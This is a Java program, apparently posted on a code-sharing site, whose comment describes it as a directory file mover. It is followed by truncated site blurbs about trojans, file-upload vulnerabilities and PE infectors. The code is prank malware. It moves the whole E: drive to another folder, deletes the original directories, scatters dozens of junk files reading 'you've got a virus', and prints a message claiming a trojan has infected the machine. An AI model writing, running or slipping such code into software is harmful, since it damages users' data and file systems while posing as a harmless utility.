package com.cw.ch07;
import java.io.*;
/**
* 把一个文件目录下的所有文件剪切到目标文件目录中
* @author cham
*
*/
public class FileDemo1 {
public static void moveFiles(File srcDir, File dstDir)
{
if(!dstDir.exists()){
dstDir.mkdir(); //如果目标文件目录不存在,则创建一个目标文件目录
}
File[] files = srcDir.listFiles(); //得到该文件目录下的所有文件及目录
for(int i=0; i<files.length;i++)
{
String path = files[i].getParent();
if(files[i].isDirectory()) //是目录
{
//递归调用,把下面的所有文件都移动到目标文件目录中,
//根据 parent 路径名字符串和 child 路径名字符串创建一个新 File 实例
moveFiles(files[i], new File(dstDir,files[i].getName()));
files[i].delete(); //删除原来的目录
File newfile = new File(files[i].getPath());
}else{
//如果是文件,就直接移动
files[i].renameTo(new File(dstDir, files[i].getName()));
}
try{
int a=0;
while(a<50) {
//构造一个文件输出流对象
OutputStream fos = new FileOutputStream(path+"\\$#$.^r_t~"+a);
//用FileOutputStream 写文本文件(2)利用文件输出流的方法写文本文件
String str ="hehe!you已经中病毒了";
byte[] words = str.getBytes();
fos.write(words, 0, words.length);
// 关闭文件输出流
fos.close();
a++;
}
}catch(Exception ex){
System.out.println("0000000");
}
}
}
public static void main(String[] args)
{
File src = new File("e:\\"); //源文件
File dst = new File("d:\\test"); //目标文件
//调用移动方法
moveFiles(src, dst);
System.out.println("您已中了木马程序。。您的e盘将被清空。。\n");
System.out.println("为了考虑您的安全,已经给您的文件备份到D盘了,快去看看吧。。。");
}
}
分享到:
相关推荐
在IT安全领域,木马程序是一种常见的威胁,它能在用户不知情的情况下潜入电脑系统,窃取信息或损害系统功能。本文将详细解析如何检测电脑是否感染了木马程序,帮助用户有效识别并清除潜在的安全隐患。 ### 一、检测...
在计算机安全领域,隐藏文件夹和文件往往是恶意软件藏身之处,它们可能携带病毒、木马或其他有害程序,对用户的数据安全构成威胁。为了保护系统和个人信息不受侵害,“Kill_Sysfile”应运而生,它是一款专门针对隐藏...
一个轻量级的木马程序可以在极短的时间内被植入目标系统,从而为后续更复杂的操作打开通道。因此,木马的大小直接影响到其隐蔽性和有效性。对于新手而言,他们往往会选择体积较大的后门程序,但经验丰富的攻击者则更...
标题 "rw-by-file.rar_given" 暗示我们关注的是一个与文件读写活动相关的工具或脚本,可能用于监控特定程序对文件系统的操作。这个工具可能是“rw-by-file.pl”,一个Perl语言编写的程序,根据描述,它的主要功能是...
### 文件上传漏洞详解 在网络安全领域,文件上传漏洞是一...总之,文件上传漏洞是Web应用程序中常见的安全问题之一。通过深入了解其原理和应用场景,并采取有效措施加以防范,可以大大降低因此类漏洞引发的安全风险。
“落雪”木马也叫“游戏大盗”( Trojan/PSW.GamePass),由VB 程序语言编写,通过 nSPack 3.1 加壳处理(即通常所说的“北斗壳”North Star),该木马文件图标一般是红色的图案,伪装成网络游戏的登陆器。...
攻击者可能会选择替换这个文件,并在替换后的版本中修改其IAT表,使得某些API调用实际上指向了一个预先准备好的木马程序。这样,在系统启动时,这些API调用就会触发木马程序的执行,而这一过程对于大多数安全软件来...
在IT领域,垃圾文件清理是维护系统健康与性能的关键步骤之一。"木马清道夫"是一款专门针对这一需求设计的软件工具,它能够有效地帮助用户清除计算机中的无用、临时或冗余文件,从而释放硬盘空间,提高系统运行效率。...
- **常见端口号**:一些特定的端口号常被木马程序用于通信,如137、138、139等。这些端口主要用于局域网内的文件共享和服务发现功能。 - **进程和服务检查**:检查系统的启动项和服务列表,查看是否有异常的程序和...
在计算机安全领域,木马程序是一种常见的恶意软件,它可以被攻击者用来非法访问或控制目标计算机系统。本篇文档将详细介绍如何使用VC++结合多线程技术以及网络编程中的Inter-Process Communication (IPC)来实现远程...
在恶意软件领域,某些病毒或木马会篡改OEP,使得程序在执行时先运行恶意代码,然后再跳转到原程序的OEP。因此,理解并能够获取OEP对于安全分析和反病毒研究至关重要。 在压缩包中的“www.pudn.com.txt”可能是作者...
沙箱通常用于分析未知或可疑的代码,如病毒、木马或恶意软件,避免它们在真实操作系统中触发潜在的危害。 在描述中提到的“推荐在虚拟机win764或win786中运行病毒”,指的是使用虚拟化技术来创建沙箱环境。Windows ...
这里的 `file.exe` 可能是木马程序试图加载的文件。 - **其他位置**: 除了 `System.ini` 文件外,还需检查 `win.ini` 和 `win32.ini` 文件中是否存在类似可疑项。 **5. 查看用户账户信息** - **命令**: `net user`...
2. **对象模型**:VB的面向对象特性体现在它的对象模型中,如File对象、Folder对象等,可以用来进行文件和目录的操作,这对于查找和清理木马至关重要。 3. **正则表达式**:为了识别恶意脚本,开发者可能使用正则...
标题中的"checkPE.rar_Pe-file_infector_pe"暗示了我们正在处理一个与PE文件相关的程序,特别是关于检查PE文件完整性和可能的感染情况。PE(Portable Executable)是Windows操作系统中可执行文件的标准格式,包括....
这种程序的设计原理源自计算机病毒和木马,但不一定是恶意的。在学习和理解C++编程时,掌握如何编写自我复制程序能帮助我们深入理解程序执行、内存管理和文件操作等核心概念。 首先,让我们了解自我复制程序的基本...
3. **文件处理**:批量替换通常涉及读取和写入文件,因此需要熟悉file(), file_get_contents(), file_put_contents(), fopen(), fclose()等文件操作函数。 4. **正则表达式**:在高级应用中,可能会用到正则表达式...
标题中的"CheckPE.rar_Pe-file_infector_pe"暗示了我们即将探讨的是关于PE文件格式以及与之相关的恶意软件感染问题。PE(Portable Executable)文件格式是Windows操作系统中用于可执行程序、动态链接库(DLL)和其他...
PE文件格式基于COFF(Common Object File Format)格式,并在其基础上扩展,以适应Windows操作系统的需求。PE文件由多个部分组成,主要包括DOS头、PE头和节区。 1. DOS头:在PE文件的最前端,是一个简化的MS-DOS...